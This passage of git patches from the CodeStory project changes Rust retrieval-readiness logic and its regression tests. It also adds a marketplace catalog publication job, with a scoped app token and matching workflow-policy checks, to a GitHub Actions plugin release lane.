SIDECAR_SEMANTIC_DOC_CONTRACT_CHANGED, + manifest_unavailable_reason_for_runtime, }; pub use health::{ ComponentHealth, ComponentStatus, InfrastructureHealth, RetrievalManifestContractReport, diff --git a/crates/codestory-runtime/src/search_publication.rs b/crates/codestory-runtime/src/search_publication.rs index 7662dd028..fa85063b2 100644 --- a/crates/codestory-runtime/src/search_publication.rs +++ b/crates/codestory-runtime/src/search_publication.rs @@ -751,12 +751,18 @@ pub(super) fn retrieval_state_from_storage( /// `sidecar_project_id_for_root`, which re-observes project identity with /// three git subprocesses per call (`config --get remote.origin.url`, /// `rev-parse HEAD^{tree}`, and a workload-dependent `status --porcelain`) -/// before the single indexed manifest-row lookup and pure contract checks. -/// That is deliberately the same uncached helper per-search sidecar admission -/// uses (`retrieval_primary::retrieval_manifest_exists`), so this projection -/// and admission can never disagree about which manifest row is current. Do -/// not substitute a cached identity here without proving admission reads the -/// same cache. The read stays observational: no probing, repair, or refresh. +/// before the manifest-row lookup, the pure contract checks, and the +/// storage-derived staleness scan. That is deliberately the same uncached +/// helper per-search sidecar admission uses +/// (`retrieval_primary::retrieval_manifest_exists`), so this projection and +/// admission can never disagree about which manifest row is current. Do not +/// substitute a cached identity here without proving admission reads the same +/// cache. The staleness scan is likewise the same helper admission gates on +/// (`manifest_unavailable_reason_for_runtime`) and costs the same per-call +/// symbol-doc count and dense-anchor sweep admission already pays: freshness +/// derived from manifest shape alone would let readiness promise semantic +/// retrieval that admission then refuses. The read stays observational: no +/// probing, repair, or refresh. pub(super) fn retrieval_state_from_storage_for_runtime( storage: &Storage, project_root: &Path, @@ -778,10 +784,25 @@ pub(super) fn retrieval_state_from_storage_for_runtime( .map(published_dense_projection_count) .unwrap_or(0); // Fail closed: published vectors count as semantic readiness only while the - // manifest still classifies as a current, non-degraded full publication. - let stale_publication = manifest - .as_ref() - .is_some_and(|manifest| !codestory_retrieval::manifest_classifies_full(manifest)); + // manifest still classifies as a current, non-degraded full publication + // *and* the store the sidecar would be served from still agrees with it. + // Manifest shape alone is not enough: a core-only refresh leaves the + // manifest untouched while moving the symbol docs, dense anchors, and + // indexed-file mtimes underneath it, so admission + // (`manifest_unavailable_reason_for_runtime`) refuses to serve a + // publication that a shape-only projection still advertises as hybrid. + // Consulting the same storage-derived staleness admission uses is what + // keeps the two surfaces from contradicting each other. + let stale_publication = manifest.as_ref().is_some_and(|manifest| { + !codestory_retrieval::manifest_classifies_full(manifest) + || codestory_retrieval::manifest_unavailable_reason_for_runtime( + &project_id, + storage, + manifest, + runtime, + ) + .is_some() + }); let contract_mismatch = manifest .as_ref() .is_some_and(|manifest| !manifest_matches_current_embedding_contract(manifest, runtime)); diff --git a/crates/codestory-runtime/src/tests.rs b/crates/codestory-runtime/src/tests.rs index dbf08f435..309566891 100644 --- a/crates/codestory-runtime/src/tests.rs +++ b/crates/codestory-runtime/src/tests.rs @@ -2014,6 +2014,86 @@ fn published_full_retrieval_manifest(project_root: &Path) -> RetrievalIndexManif manifest } +/// Publish the full fixture manifest together with the storage rows strict +/// sidecar admission re-derives freshness from. +/// +/// Admission (`manifest_unavailable_reason_for_runtime`) recounts the symbol +/// docs, dense anchors, and dense-reason histogram in the store and refuses a +/// manifest that disagrees with them. A fixture that publishes only the +/// manifest row is therefore a publication the sidecar would *not* serve, so +/// it cannot stand in for a healthy project when asserting that readiness +/// reports hybrid. +fn publish_admissible_full_retrieval_manifest( + storage: &mut Storage, + project_root: &Path, +) -> RetrievalIndexManifest { + let mut manifest = published_full_retrieval_manifest(project_root); + manifest.dense_reason_counts_json = + Some(serde_json::json!({ DenseAnchorReason::PublicApi.as_str(): 2 }).to_string()); + let symbol_doc_count = manifest.symbol_doc_count.expect("fixture symbol doc count"); + let dense_count = manifest + .dense_projection_count + .expect("fixture dense projection count"); + let nodes = (1..=symbol_doc_count) + .map(|id| Node { + id: CoreNodeId(id), + kind: NodeKind::FUNCTION, + serialized_name: format!("admissible_{id:02}"), + ..Default::default() + }) + .collect::>(); + let symbol_docs = (1..=symbol_doc_count) + .map(|id| SymbolSearchDoc { + node_id: CoreNodeId(id), + file_node_id: None, + kind: NodeKind::FUNCTION, + display_name: format!("admissible_{id:02}"), + qualified_name: None, + file_path: None, + start_line: None, + doc_text: format!("admissible_{id:02}"), + doc_version: LLM_SYMBOL_DOC_SCHEMA_VERSION, + doc_hash: format!("admissible-doc-{id:02}"), + policy_version: SEMANTIC_POLICY_VERSION.to_string(), + source_provenance: SYMBOL_SEARCH_DOC_PROVENANCE.to_string(), + updated_at_epoch_ms: 1, + }) + .collect::>(); + let dense_inputs = (1..=dense_count) + .map(|id| DenseAnchorInput { + node_id: CoreNodeId(id), + file_node_id: None, + kind: NodeKind::FUNCTION, + display_name: format!("admissible_{id:02}"), + qualified_name: None, + file_path: None, + start_line: None, + end_line: None, + file_role: codestory_store::FileRole::Source, + source_provenance: SYMBOL_SEARCH_DOC_PROVENANCE.to_string(), + text: format!("admissible_{id:02}"), + document_hash: format!("admissible-anchor-{id:02}"), + selection_reason: DenseAnchorReason::PublicApi.as_str().to_string(), + policy_version: SEMANTIC_POLICY_VERSION.to_string(), + source_identity: format!("core:admissible_{id:02}"), + updated_at_epoch_ms: 1, + }) + .collect::>(); + storage + .insert_nodes_batch(&nodes) + .expect("seed admissible publication nodes"); + storage + .upsert_symbol_search_docs_batch(&symbol_docs) + .expect("seed admissible publication symbol docs"); + storage + .upsert_dense_anchor_inputs_batch(&dense_inputs) + .expect("seed admissible publication dense anchors"); + storage + .upsert_retrieval_index_manifest(&manifest) + .expect("publish retrieval manifest"); + manifest +} + #[test] fn retrieval_state_reports_hybrid_ready_from_published_manifest_without_legacy_docs() { // Regression: a fresh auto-bootstrap publishes semantic vectors through the @@ -2027,9 +2107,7 @@ fn retrieval_state_reports_hybrid_ready_from_published_manifest_without_legacy_d fs::create_dir_all(&project_root).expect("project root"); let storage_path = temp.path().join("codestory.db"); let mut storage = Storage::open(&storage_path).expect("open storage"); - storage - .upsert_retrieval_index_manifest(&published_full_retrieval_manifest(&project_root)) - .expect("publish retrieval manifest"); + publish_admissible_full_retrieval_manifest(&mut storage, &project_root); assert_eq!( storage .get_llm_symbol_doc_stats() @@ -2090,6 +2168,113 @@ fn retrieval_state_reports_hybrid_ready_from_published_manifest_without_legacy_d assert!(wire.get("fallback_reason").is_none()); } +#[test] +fn core_only_refresh_keeps_readiness_and_sidecar_admission_in_agreement() { + // Regression: readiness derived freshness from manifest *shape* while + // strict sidecar admission derives staleness from *storage*. A core-only + // refresh moves the indexed-file mtimes underneath an untouched manifest, + // so the shape-only projection kept reporting hybrid / semantic_ready with + // no fallback for a publication admission simultaneously refused to serve + // — the agent got an error contradicting what readiness had just promised. + // + // Both directions matter: readiness must not over-claim once admission + // refuses, and must not newly under-claim while admission still serves. + let _env = hybrid_test_env(); + let temp = tempdir().expect("temp dir"); + let project_root = temp.path().join("project"); + fs::create_dir_all(&project_root).expect("project root"); + let storage_path = temp.path().join("codestory.db"); + let mut storage = Storage::open(&storage_path).expect("open storage"); + let manifest = publish_admissible_full_retrieval_manifest(&mut storage, &project_root); + let runtime = test_sidecar_runtime_from_env(); + let project_id = codestory_retrieval::sidecar_project_id_for_root(&project_root); + let source_path = project_root.join("core.rs"); + fs::write(&source_path, "pub fn core() {}\n").expect("write core source"); + + // Direction one: a core publication that predates the sidecar leaves + // admission serving, so readiness must keep reporting hybrid. + storage + .insert_files_batch(&[FileInfo { + id: 100_001, + path: source_path.clone(), + language: "rust".to_string(), + modification_time: manifest.built_at_epoch_ms - 1_000, + indexed: true, + complete: true, + line_count: 1, + file_role: codestory_store::FileRole::Source, + }]) + .expect("seed indexed core file"); + assert_eq!( + codestory_retrieval::manifest_unavailable_reason_for_runtime( + &project_id, + &storage, + &manifest, + &runtime, + ), + None, + "admission must still serve a sidecar published after the core index" + ); + let served = crate::search_publication::retrieval_state_from_storage_for_runtime( + &storage, + &project_root, + &runtime, + ) + .expect("served retrieval state"); + assert_eq!(served.mode, RetrievalModeDto::Hybrid); + assert!(served.semantic_ready); + assert_eq!(served.semantic_mode, SemanticModeDto::Enabled); + assert_eq!(served.fallback_reason, None); + assert_eq!(served.fallback_message, None); + + // Direction two: a core-only refresh republishes the core index without + // rebuilding the sidecar, so admission refuses the untouched manifest. + storage + .insert_files_batch(&[FileInfo { + id: 100_002, + path: project_root.join("refreshed.rs"), + language: "rust".to_string(), + modification_time: manifest.built_at_epoch_ms + 60_000, + indexed: true, + complete: true, + line_count: 1, + file_role: codestory_store::FileRole::Source, + }]) + .expect("seed core-only refresh file"); + let refusal = codestory_retrieval::manifest_unavailable_reason_for_runtime( + &project_id, + &storage, + &manifest, + &runtime, + ) + .expect("core-only refresh must make admission refuse the stale sidecar"); + assert!( + refusal.contains("indexed_file_newer_than_retrieval_manifest"), + "unexpected admission refusal: {refusal}" + ); + + let refused = crate::search_publication::retrieval_state_from_storage_for_runtime( + &storage, + &project_root, + &runtime, + ) + .expect("refused retrieval state"); + assert_eq!( + refused.mode, + RetrievalModeDto::Symbolic, + "readiness must not promise hybrid retrieval admission refuses to serve" + ); + assert!(!refused.semantic_ready); + assert_ne!(refused.semantic_mode, SemanticModeDto::Enabled); + assert!( + refused.fallback_reason.is_some(), + "a refused publication must state why retrieval is not full" + ); + let wire = serde_json::to_value(&refused).expect("serialize refused retrieval state"); + assert_ne!(wire["mode"], serde_json::json!("hybrid")); + assert_eq!(wire["semantic_ready"], serde_json::json!(false)); +} + #[test] fn zero_dense_full_publication_reports_ready_without_missing_docs() { // A tiny project can legally publish a current, non-degraded full sidecar From e6575a06722d2d98336f0fb8374124d63c6ddad1 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 08:44:58 -0500 Subject: [PATCH 023/132] publish the marketplace catalog on the plugin fast lane The plugin lane never updated the public catalog. Preflight captured the live marketplace revision with git ls-remote and handed it to post-publish smoke, but preflight runs before the release exists, so that revision names the *previous* release. Smoke then installed the previous plugin, compared it against the version being released, and failed -- after gh release create had already made the tag and release irreversible. Every plugin-lane release was arranged to end red with a published tag and a catalog that never learned about it. Give the plugin lane the same marketplace-publish job the native lane has, between publish and post-publish-smoke: a scoped GitHub App token minted per run in the marketplace-publish environment, in a job holding no repository write permission, pushing the catalog at the published commit. Smoke now consumes that job's revision, and preflight no longer captures one at all, so there is no pre-publication revision left to reconnect by accident. Catalog publication stays benign on failure. It runs after the release exists, so a failed push leaves the catalog serving the previous release rather than one that does not exist, and marketplace-sync.yml remains the recovery path. The lane still receives and forwards no secrets: it declares no callable secret surface, auto-release.yml still passes none, and the one credential it may read is the marketplace app identity, only in the step that mints the token. The policy check enforces exactly that instead of banning the string outright. The plugin lane's job DAG now lives in release-claims.json as workflow_policy .plugin_chain rather than as a hardcoded five-job list in the checker, which moves the claim graph digest and re-pins it in the evidence fixtures that attest it -- including report.json's candidate_sha256, which pins candidate.json's own bytes. Closes #1553 Co-Authored-By: Claude Opus 5 --- .github/scripts/check-workflow-policy.mjs | 95 ++++++++++++++++--- .../scripts/check-workflow-policy.test.mjs | 95 +++++++++++++++++++ .github/workflows/plugin-release.yml | 49 +++++++--- AGENTS.md | 7 +- .../release-evidence/fixtures/candidate.json | 6 +- .../release-evidence/fixtures/report.json | 8 +- release-claims.json | 23 +++++ .../fixtures/release-claims/positive.json | 2 +- 8 files changed, 248 insertions(+), 37 deletions(-) diff --git a/.github/scripts/check-workflow-policy.mjs b/.github/scripts/check-workflow-policy.mjs index ceec858e6..6f66f4dd2 100644 --- a/.github/scripts/check-workflow-policy.mjs +++ b/.github/scripts/check-workflow-policy.mjs @@ -4416,20 +4416,43 @@ export function validateCargoTestFilters( } } -export function validatePluginRelease(workflows, violations) { +export function validatePluginRelease(workflows, violations, graph) { const file = "plugin-release.yml"; const workflow = workflows.get(file); if (!workflow) { violations.push(`${file} must exist`); return; } + const pluginChain = object(object(at(graph, "workflow_policy", "plugin_chain")).dependencies); const scalars = scalarStrings(workflow); add(violations, hasExactKeys(object(workflow.on), ["workflow_call"]), `${file} must be callable only`); - add( - violations, - !JSON.stringify(workflow).includes("secrets"), - `${file} must not receive or forward secrets: nothing is built or signed on the plugin lane`, - ); + // Nothing is built or signed on the plugin lane, so it declares no callable secret surface and + // its caller forwards none. The one credential it may read is the marketplace app identity, and + // only where the scoped token is minted. + const marketplaceTokenIndex = list(object(object(workflow.jobs)["marketplace-publish"]).steps) + .findIndex(step => object(step).name === "Mint a scoped marketplace token"); + const marketplaceIdentityKeys = new Map([ + ["${{ secrets.MARKETPLACE_APP_ID }}", "app-id"], + ["${{ secrets.MARKETPLACE_APP_PRIVATE_KEY }}", "private-key"], + ]); + walk(workflow, (key, value, trail) => { + const mentionsSecret = key === "secrets" + || (typeof value === "string" && value.includes("secrets.")); + if (!mentionsSecret) return; + const mintsMarketplaceIdentity = marketplaceTokenIndex >= 0 + && trail.length === 6 + && trail[0] === "jobs" + && trail[1] === "marketplace-publish" + && trail[2] === "steps" + && trail[3] === marketplaceTokenIndex + && trail[4] === "with" + && marketplaceIdentityKeys.get(value) === key; + add( + violations, + mintsMarketplaceIdentity, + `${file} must not receive or forward secrets beyond the minted marketplace app identity: nothing is built or signed on the plugin lane`, + ); + }); walk(workflow, (key, value) => { if (/^APPLE_/u.test(key) || (typeof value === "string" && /\bAPPLE_[A-Z0-9_]+\b/u.test(value))) { violations.push(`${file} must never reference Apple signing material`); @@ -4438,9 +4461,16 @@ export function validatePluginRelease(workflows, violations) { const jobs = object(workflow.jobs); add( violations, - hasExactKeys(jobs, ["workflow-policy", "preflight", "plugin-proof", "publish", "post-publish-smoke"]), - `${file} must keep its exact five-job plugin lane`, + hasExactKeys(jobs, ["workflow-policy", ...Object.keys(pluginChain)]), + `${file} must keep exactly the plugin lane the release claim graph declares`, ); + for (const [name, dependencies] of Object.entries(pluginChain)) { + add( + violations, + sameMembers(needs(object(jobs[name])), dependencies), + `${file} ${name} dependencies must match the release claim graph`, + ); + } for (const [name, job] of Object.entries(jobs)) { const permissions = object(job).permissions; add( @@ -4473,14 +4503,51 @@ export function validatePluginRelease(workflows, violations) { ]); add( violations, - sameStrings(nonCommentLines(object(jobs.publish).needs === undefined ? "" : ""), []) || - JSON.stringify(object(jobs.publish).needs) === JSON.stringify(["preflight", "plugin-proof"]), - `${file} publish must wait on preflight and plugin proof`, + !scalars.some((value) => /cargo\s+(?:build|test)/u.test(value)), + `${file} must not build native code`, ); + + // The catalog a host installs from is only correct once it names this release, so the plugin + // lane owns the same publication step the native lane does. + const marketplacePublish = object(jobs["marketplace-publish"]); add( violations, - !scalars.some((value) => /cargo\s+(?:build|test)/u.test(value)), - `${file} must not build native code`, + marketplacePublish.environment === "marketplace-publish", + `${file} marketplace publication must hold its cross-repository credential in its own environment`, + ); + const tokenStep = namedStep(marketplacePublish, "Mint a scoped marketplace token"); + add( + violations, + String(tokenStep?.uses ?? "").startsWith("actions/create-github-app-token@") + && fullSha.test(String(tokenStep?.uses ?? "").split("@")[1] ?? "") + && object(tokenStep?.with).owner === "TheGreenCedar" + && object(tokenStep?.with).repositories === "AgentPluginMarketplace", + `${file} marketplace token must be a SHA-pinned app token scoped to the marketplace repository`, + ); + requireStepRun(violations, file, marketplacePublish, "Point the catalog at the published release", [ + "publish-marketplace-catalog.mjs", + '--version "${{ inputs.version }}"', + ]); + add( + violations, + object(marketplacePublish.outputs).marketplace_revision + === "${{ steps.publish.outputs.marketplace_revision }}", + `${file} marketplace publication must publish the revision it pushed`, + ); + + // Preflight runs before the release exists, so a revision captured there names the *previous* + // release. Smoke must install from the revision this run published or it proves nothing. + const smoke = object(jobs["post-publish-smoke"]); + add( + violations, + object(preflight.outputs).marketplace_revision === undefined, + `${file} preflight must not capture a marketplace revision that predates publication`, + ); + add( + violations, + object(namedStep(smoke, "Prove the public marketplace install path")?.env).MARKETPLACE_REVISION + === "${{ needs.marketplace-publish.outputs.marketplace_revision }}", + `${file} post-publish smoke must install from the marketplace revision this release published`, ); const auto = workflows.get("auto-release.yml"); @@ -4505,7 +4572,7 @@ export function validateWorkflows(workflows, graph = loadReleaseClaimGraph(repos violations.push(...basicWorkflowViolations(file, workflow)); } validateCargoTestFilters(workflows, violations); - validatePluginRelease(workflows, violations); + validatePluginRelease(workflows, violations, graph); validateLockedSetupSurfaces(violations); validateIssueWorkflows(workflows, violations); validatePluginAndDraftWorkflows(workflows, violations, graph); diff --git a/.github/scripts/check-workflow-policy.test.mjs b/.github/scripts/check-workflow-policy.test.mjs index 9a90cf48b..b3910403e 100644 --- a/.github/scripts/check-workflow-policy.test.mjs +++ b/.github/scripts/check-workflow-policy.test.mjs @@ -2325,3 +2325,98 @@ test("release policy rejects manifest producer, trusted-map, and publication byp assert.notDeepEqual(validateWorkflows(workflows), [], label); } }); + +test("the plugin lane publishes the catalog it then smoke-installs", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const file = "plugin-release.yml"; + const smokeStep = workflow => + draftStep(workflow.jobs["post-publish-smoke"], "Prove the public marketplace install path"); + const tokenStep = workflow => + draftStep(workflow.jobs["marketplace-publish"], "Mint a scoped marketplace token"); + const catalogStep = workflow => + draftStep(workflow.jobs["marketplace-publish"], "Point the catalog at the published release"); + const mutations = [ + ["smoke installs the revision preflight saw before publication", workflow => { + workflow.jobs.preflight.outputs.marketplace_revision + = "${{ steps.marketplace.outputs.marketplace_revision }}"; + smokeStep(workflow).env.MARKETPLACE_REVISION + = "${{ needs.preflight.outputs.marketplace_revision }}"; + }, /post-publish smoke must install from the marketplace revision this release published/u], + ["preflight resurrects a pre-publication revision", workflow => { + workflow.jobs.preflight.outputs.marketplace_revision + = "${{ steps.marketplace.outputs.marketplace_revision }}"; + }, /preflight must not capture a marketplace revision that predates publication/u], + ["catalog publication is dropped from the lane", workflow => { + delete workflow.jobs["marketplace-publish"]; + workflow.jobs["post-publish-smoke"].needs = ["preflight", "publish"]; + }, /must keep exactly the plugin lane the release claim graph declares/u], + ["smoke stops waiting on catalog publication", workflow => { + workflow.jobs["post-publish-smoke"].needs = ["preflight", "publish"]; + }, /post-publish-smoke dependencies must match the release claim graph/u], + ["catalog publication races the release it advertises", workflow => { + workflow.jobs["marketplace-publish"].needs = ["preflight"]; + }, /marketplace-publish dependencies must match the release claim graph/u], + ["catalog publication loses its credential environment", workflow => { + delete workflow.jobs["marketplace-publish"].environment; + }, /marketplace publication must hold its cross-repository credential in its own environment/u], + ["the marketplace token is unpinned", workflow => { + tokenStep(workflow).uses = "actions/create-github-app-token@v1"; + }, /marketplace token must be a SHA-pinned app token scoped to the marketplace repository/u], + ["the marketplace token widens beyond the catalog repository", workflow => { + tokenStep(workflow).with.repositories = "CodeStory"; + }, /marketplace token must be a SHA-pinned app token scoped to the marketplace repository/u], + ["the catalog is pointed at an unbound version", workflow => { + const step = catalogStep(workflow); + step.run = step.run.replace('--version "${{ inputs.version }}"', '--version "$LATEST"'); + }, /Point the catalog at the published release must run --version/u], + ["catalog publication hides the revision it pushed", workflow => { + delete workflow.jobs["marketplace-publish"].outputs; + }, /marketplace publication must publish the revision it pushed/u], + ["a secret leaks outside the token step", workflow => { + catalogStep(workflow).env.APP_ID = "${{ secrets.MARKETPLACE_APP_ID }}"; + }, /must not receive or forward secrets beyond the minted marketplace app identity/u], + ["the lane opens a callable secret surface", workflow => { + workflow.on.workflow_call.secrets = { MARKETPLACE_APP_ID: { required: true } }; + }, /must not receive or forward secrets beyond the minted marketplace app identity/u], + ]; + for (const [name, mutate, expected] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + const violations = validateWorkflows(workflows); + assert.notDeepEqual(violations, []); + assert.match(violations.join("\n"), expected); + }); + } +}); + +test("the plugin lane still forbids building, signing, and forwarded secrets", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const mutations = [ + ["auto-release forwards secrets to the plugin lane", workflows => { + workflows.get("auto-release.yml").jobs["plugin-release"].secrets = "inherit"; + }, /auto-release\.yml must route the plugin lane without forwarding secrets/u], + ["the plugin lane reaches for Apple signing material", workflows => { + draftStep( + workflows.get("plugin-release.yml").jobs["marketplace-publish"], + "Point the catalog at the published release", + ).env.APPLE_ID = "signing@example.com"; + }, /must never reference Apple signing material/u], + ["the plugin lane builds native code", workflows => { + const step = draftStep( + workflows.get("plugin-release.yml").jobs["plugin-proof"], + "Provision the pinned CLI end to end", + ); + step.run = `${step.run}\ncargo build --locked -p codestory-cli\n`; + }, /must not build native code/u], + ]; + for (const [name, mutate, expected] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows); + const violations = validateWorkflows(workflows); + assert.notDeepEqual(violations, []); + assert.match(violations.join("\n"), expected); + }); + } +}); diff --git a/.github/workflows/plugin-release.yml b/.github/workflows/plugin-release.yml index baffe06c1..df31005eb 100644 --- a/.github/workflows/plugin-release.yml +++ b/.github/workflows/plugin-release.yml @@ -39,7 +39,6 @@ jobs: timeout-minutes: 15 outputs: pinned_cli_version: ${{ steps.pin.outputs.pinned_cli_version }} - marketplace_revision: ${{ steps.marketplace.outputs.marketplace_revision }} steps: - uses: actions/checkout@v5 with: @@ -128,15 +127,6 @@ jobs: node .github/scripts/extract-codestory-release-notes.mjs --version "${{ inputs.version }}" > /tmp/plugin-release-notes.md test -s /tmp/plugin-release-notes.md - - name: Capture the live marketplace revision - id: marketplace - shell: bash - run: | - set -euo pipefail - revision="$(git ls-remote https://github.com/TheGreenCedar/AgentPluginMarketplace.git refs/heads/main | cut -f1)" - test -n "$revision" - echo "marketplace_revision=$revision" >> "$GITHUB_OUTPUT" - plugin-proof: needs: preflight strategy: @@ -193,9 +183,44 @@ jobs: --title "CodeStory plugin ${{ inputs.version }}" \ --notes-file /tmp/plugin-release-notes.md - post-publish-smoke: + # The catalog is what a host installs from, so the plugin lane publishes it too. Without this the + # smoke below would resolve the previous release and fail after the tag is already irreversible. + marketplace-publish: needs: [preflight, publish] runs-on: ubuntu-latest + timeout-minutes: 10 + environment: marketplace-publish + outputs: + marketplace_revision: ${{ steps.publish.outputs.marketplace_revision }} + steps: + - uses: actions/checkout@v5 + + - name: Mint a scoped marketplace token + id: token + uses: actions/create-github-app-token@67e27a7eb7db372a1c61a7f9bdab8699e9ee57f7 # v1.11.3 + with: + app-id: ${{ secrets.MARKETPLACE_APP_ID }} + private-key: ${{ secrets.MARKETPLACE_APP_PRIVATE_KEY }} + owner: TheGreenCedar + repositories: AgentPluginMarketplace + + # Publication already happened, so a failure here leaves the catalog serving the previous + # release rather than a release that does not exist. marketplace-sync.yml recovers it. + - name: Point the catalog at the published release + id: publish + env: + GH_TOKEN: ${{ steps.token.outputs.token }} + run: | + set -euo pipefail + node .github/scripts/publish-marketplace-catalog.mjs \ + --source-repository "$GITHUB_WORKSPACE" \ + --commit "$GITHUB_SHA" \ + --version "${{ inputs.version }}" \ + --github-output "$GITHUB_OUTPUT" + + post-publish-smoke: + needs: [preflight, publish, marketplace-publish] + runs-on: ubuntu-latest timeout-minutes: 30 steps: - uses: actions/checkout@v5 @@ -203,7 +228,7 @@ jobs: - name: Prove the public marketplace install path env: CODEX_CLI_VERSION: "0.144.5" - MARKETPLACE_REVISION: ${{ needs.preflight.outputs.marketplace_revision }} + MARKETPLACE_REVISION: ${{ needs.marketplace-publish.outputs.marketplace_revision }} run: | set -euo pipefail install_root="$RUNNER_TEMP/codestory-marketplace-postpublish" diff --git a/AGENTS.md b/AGENTS.md index c6252349a..8409af0bc 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -237,9 +237,10 @@ adapter to compensate for incorrect upstream state. hardware, post-publish, installed-runtime, and live behavior evidence for the claims being shipped. A merge, tag, or downloadable archive alone is not release completion. -- The release workflow owns marketplace publication. Its `marketplace-publish` - job points `TheGreenCedar/AgentPluginMarketplace` at the published commit - after the release exists, and post-publish smoke proves that catalog. Do not +- Both release lanes own marketplace publication. The `marketplace-publish` job + in `release.yml` and in `plugin-release.yml` points + `TheGreenCedar/AgentPluginMarketplace` at the published commit after the + release exists, and post-publish smoke proves that catalog. Do not hand-edit the catalog before a release; preflight proves the install path against a candidate-pinned fixture and no longer requires the live catalog to match an unreleased commit. If the catalog push fails, the release is still diff --git a/benchmarks/release-evidence/fixtures/candidate.json b/benchmarks/release-evidence/fixtures/candidate.json index 0b0c9401f..0629f2f21 100644 --- a/benchmarks/release-evidence/fixtures/candidate.json +++ b/benchmarks/release-evidence/fixtures/candidate.json @@ -62,7 +62,7 @@ }, "release_claims": { "graph_schema": "codestory.release-claims/v1", - "graph_sha256": "5a89e6d4445cb76117cf98d09c2cdd09184abeb7488d58009d5c90d84f401d3d", + "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "requested_claims": [ @@ -85,7 +85,7 @@ "type": "performance", "tier": "live_behavior", "status": "measured", - "graph_sha256": "5a89e6d4445cb76117cf98d09c2cdd09184abeb7488d58009d5c90d84f401d3d", + "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { @@ -106,7 +106,7 @@ "type": "answer_quality", "tier": "answer_quality", "status": "pass", - "graph_sha256": "5a89e6d4445cb76117cf98d09c2cdd09184abeb7488d58009d5c90d84f401d3d", + "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { diff --git a/benchmarks/release-evidence/fixtures/report.json b/benchmarks/release-evidence/fixtures/report.json index 3854559ea..70075d0c1 100644 --- a/benchmarks/release-evidence/fixtures/report.json +++ b/benchmarks/release-evidence/fixtures/report.json @@ -7,7 +7,7 @@ "baseline_id": "ci-contract-v1@1111111111111111111111111111111111111111", "baseline_sha256": "0bbbe6dd8b4000151edf7b1270959d08e94e08db876e7f2372b25613e0f237c1", "candidate_path": "benchmarks/release-evidence/fixtures/candidate.json", - "candidate_sha256": "421e78b9ed58ff3c15b5f907d61f06520bd19ddf70e104dcd2b1c272a05a7309", + "candidate_sha256": "ba277f51c4079712fd75ef1ead662198645d70074bb6b717b1bca7336968a7f1", "artifact_paths": [ { "path": "candidate-stats.json", @@ -26,7 +26,7 @@ "type": "performance", "tier": "live_behavior", "status": "pass", - "graph_sha256": "5a89e6d4445cb76117cf98d09c2cdd09184abeb7488d58009d5c90d84f401d3d", + "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { @@ -47,7 +47,7 @@ "type": "answer_quality", "tier": "answer_quality", "status": "pass", - "graph_sha256": "5a89e6d4445cb76117cf98d09c2cdd09184abeb7488d58009d5c90d84f401d3d", + "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { @@ -69,7 +69,7 @@ "schema": "codestory.release-claim-evaluation/v1", "status": "pass", "graph_schema": "codestory.release-claims/v1", - "graph_sha256": "5a89e6d4445cb76117cf98d09c2cdd09184abeb7488d58009d5c90d84f401d3d", + "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", "evidence_selection": "all_matching_rows_must_pass", "expected_commit": "2222222222222222222222222222222222222222", "evaluated_at": "2026-07-21T02:13:20.738Z", diff --git a/release-claims.json b/release-claims.json index abf13c0d3..ff62a4dd5 100644 --- a/release-claims.json +++ b/release-claims.json @@ -1090,6 +1090,29 @@ ] } }, + "plugin_chain": { + "dependencies": { + "preflight": [ + "workflow-policy" + ], + "plugin-proof": [ + "preflight" + ], + "publish": [ + "preflight", + "plugin-proof" + ], + "marketplace-publish": [ + "preflight", + "publish" + ], + "post-publish-smoke": [ + "preflight", + "publish", + "marketplace-publish" + ] + } + }, "artifact_workflows": [ "source-proof.yml", "release-candidate-evidence.yml", diff --git a/scripts/tests/fixtures/release-claims/positive.json b/scripts/tests/fixtures/release-claims/positive.json index f9cd36f03..08632e685 100644 --- a/scripts/tests/fixtures/release-claims/positive.json +++ b/scripts/tests/fixtures/release-claims/positive.json @@ -17,7 +17,7 @@ "type": "source_behavior", "tier": "source", "status": "pass", - "graph_sha256": "5a89e6d4445cb76117cf98d09c2cdd09184abeb7488d58009d5c90d84f401d3d", + "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", "observed_at": "2026-07-16T11:00:00.000Z", "expires_at": "2026-07-17T11:00:00.000Z", "identity": { From d3cb6038bd6c5b23a54814ee816eb8859b4f759a Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 08:47:59 -0500 Subject: [PATCH 024/132] accept binding-verified reuse rows in the pre-publish closeout The producer map learned to inherit evidence a prior run already authenticated, but the closeout that consumes it never did. Every check that anchors a producer row -- run identity, artifact head, job head -- compared against the publishing run and the release commit unconditionally, so the moment release preflight selected source-proof reuse the pre-publish closeout rejected the very rows the producer had just verified, and publish never ran. The closeout now anchors a row carrying reused_from to the reused run and commit, but only after re-proving, against its own checkout, the binding the claim graph declares for that cell's group. Verification is the same function the producer uses, moved to the shared claim module so both sides prove the binding the same way instead of one trusting the other's word. A reuse block with no declared binding, a binding the group did not declare, a commit that is not an ancestor or does not resolve to 